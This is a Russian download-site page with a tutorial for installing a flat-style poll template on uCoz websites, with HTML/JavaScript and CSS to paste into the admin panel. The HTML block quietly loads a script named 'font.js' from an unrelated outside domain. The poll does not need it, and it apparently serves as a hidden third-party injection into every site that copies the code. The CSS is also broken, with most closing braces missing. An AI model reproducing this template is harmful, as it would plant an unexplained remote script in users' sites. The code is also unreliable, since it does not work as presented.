Скачать бесплатно Вид опроса для uCoz в стиле Flat дизайна
Форма входа
Меню сайта
Категории раздела
Игры [887]
Софт [359]
Фильмы [357]
Мультфильмы [50]
Моды/Патчи [339]
Таблэтки/Русификаторы [523]
Музыка/Клипы [256]
Темы для Windows [5]
Антивирусы/Защита ПК [21]
Обои/Картинки [65]
Книги/Журналы [438]
Мобила/КПK [59]
Ремонт автомобилей [245]
Разное [131]
Топ материалов

[Mods] Паркур Мод для GTA San Andreas




Ubisoft Game Launcher




Карта+Моды техники для Farming Simulator (2011)




GTA San Andreas SUPER CARS 2011 [RUS]




Генератор ключей (keygen) для игры Rig'n'Roll (Дал...




Euro Truck Simulator 2 "Новая зима v3.1"




Статистика


Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня были:


Информация
Пятница, 26.04.2024, 04:31
Приветствую Вас Гость
13:49
Вид опроса для uCoz в стиле Flat дизайна

В данном посте мы с вами разберем и установим новый вид опроса для uCoz в стиле Flat дизайна. Что такое стиль Flat (Flat дизайн)? Это новый довольно популярный в интернете сейчас тип веб-дизайна, главной особенностью которого является плоскость и юзабельность. Теперь поговорим об этом виде опроса для uCoz. Главная его особенность это плоскость — тот самый Flat дизайн. Выводится количество и процент проголосовавших, а также полоски опроса разноцветные, заточен под 14 возможных ответов. Также данный вид опроса в стиле Flat построен полностью на CSS, что делает его очень легким и не утяжеляющим страницу. Установка очень проста

Установка:
Для установки, зайдите в админ панель => Управление дизайном => Опросы => Вид формы опросов и здесь заменяем весь существующий код на этот: 

Код:
<div class="cell-poll"> 
  <div class="cell-poll-title">$QUESTION$</div>  
  <div class="cell-poll-answers">$ANSWERS$</div> 
  <div class="cell-poll-link"> 
  <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>  
  <a href="$RESULTS_LINK$" >Результаты </a> 
  <b> | </b> 
  <a href="$ARCHIVE_LINK$">Архив </a>  
  </div>  
</div> 
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><script type="text/javascript"> 
var a = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15']; 
for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress-'+[i]);} 
$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); 
</script>

Отлично, теперь нам нужно установить CSS стили, для этого идем в ваши Таблицы стилей и добавляем туда такой код: 

Код:
/* Вид опроса для uCoz, в стили flat v2 
------------------------------------------*/ 
.cell-poll{ 
  float:left; 
  width:230px; 
  color:#666; 
  background: #fff; 
  padding: 10px 10px 10px 10px;  
  border: 1px solid #B6C0CD;  
  border-radius:5px;  


.cell-poll-title{ 
  float:left; 
  width:100%; 
  padding-bottom: 10px; 
  border-bottom: 1px solid #B6C0CD; 
  font:12px Verdana,Arial,Helvetica, sans-serif; 
  font-weight:bold; 
  text-align:center; 
  color:#777;  


.cell-poll a {text-decoration:none; outline:none} 

.cell-poll-answers{ 
  float:left; 
  width:100%; 
  margin: 10px 0px 10px 0px;  
  text-align:left; 


.answer {display: block;} 

.answer input{margin: 3px 5px 2px 5px;} 
.answer label {margin: 2px 0px 2px 0px; color:#555;} 

.progress { 
  height: 15px; 
  overflow: hidden; 
  margin: 5px 0px 7px 0px; 
  height: 15px!important; 
  background: #F4F8F9!important; 


.progress-0, 
.progress-1, 
.progress-2, 
.progress-3, 
.progress-4, 
.progress-5, 
.progress-6, 
.progress-7, 
.progress-8, 
.progress-9, 
.progress-10, 
.progress-11, 
.progress-12, 
.progress-13, 
.progress-14 { 
  height: 18px!important; 
  display: block!important; 
  overflow: hidden!important; 
  margin-top: -3px; 


.progress-0 {background: #5D9AD3!important;} 
.progress-1 {background: #E96465!important;} 
.progress-2 {background: #F6954E!important;} 
.progress-3 {background: #dd8cd2!important;} 
.progress-4 {background: #75D0ED!important;} 
.progress-5 {background: #5BC254!important;} 
.progress-6 {background: #CFC72D!important;} 
.progress-7 {background: #DD3344!important;} 
.progress-8 {background: #FE9B6F!important;} 
.progress-9 {background: #8CC84B!important;} 
.progress-10 {background: #DD8CD2!important;} 
.progress-11 {background: #e9eb5b!important;} 
.progress-12 {background: #E96465!important;} 
.progress-13 {background: #75D0ED!important;} 
.progress-14 {background: #5D9AD3!important;} 

.pollBut{ 
  cursor:pointer; 
  border:none!important;  
  margin-top:10px; 
  background: #64b0db!important;  
  padding: 5px 20px 5px 20px!important;  

  font:11px Verdana,Arial,Helvetica, sans-serif!important;  
  font-weight: bold!important;  
  color:#fff!important;  


.pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;} 
.pollBut:hover {background:#51a4d2!important;} 

.cell-poll-link{ 
  float:left; 
  width:100%; 
  padding-top: 10px; 
  border-top: 1px solid #B6C0CD; 
   
  font:9px Verdana,Arial,Helvetica, sans-serif; 
  color:#999; 


.cell-poll-link span{float:left;} 
.cell-poll-link b, 
.cell-poll-link a {float:right;} 
.cell-poll-link b {color:#B6C0CD;}

Готово! Теперь, дизайн опроса готов, все налажено и рабочее, можете установить себе тестовый опрос, чтобы протестировать данный скрипт для uCoz. На этом все, спасибо вам за внимание!


[ Сообщить о нерабочей ссылке ]

Категория: Софт | Просмотров: 823 | Добавил: Bitfood | Теги: бесплатно, Вид опроса, скачать, в стиле Flat дизайна, Для ucoz | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск
Облако тегов
Mod crack (2011) Мультфильм 2011 Edition Beta final (2010) 10 Internet for Pack фантастика Триллер online alpha mix 2012 Action IV 3D new DVD cs Free Pro FULL Driver Audio Evolution ii 2010 100 III cd Dragon age Grand Auto Operation Dead 2009 2005 Focus 2.0 2006 14 ужасы doc 2000 by Andreas all house game Land 11 Frozen 1987 of Kings Assassins java 64 Adventure Commander 99 3.0 And from company black Original 1.1 1.0 Left Half Call Mini Games heroes Magic dark Pop dance evil mobile hunter Arcade girls Beautiful collection Legend Club Deluxe Alan Cars Anna En
Случайные файлы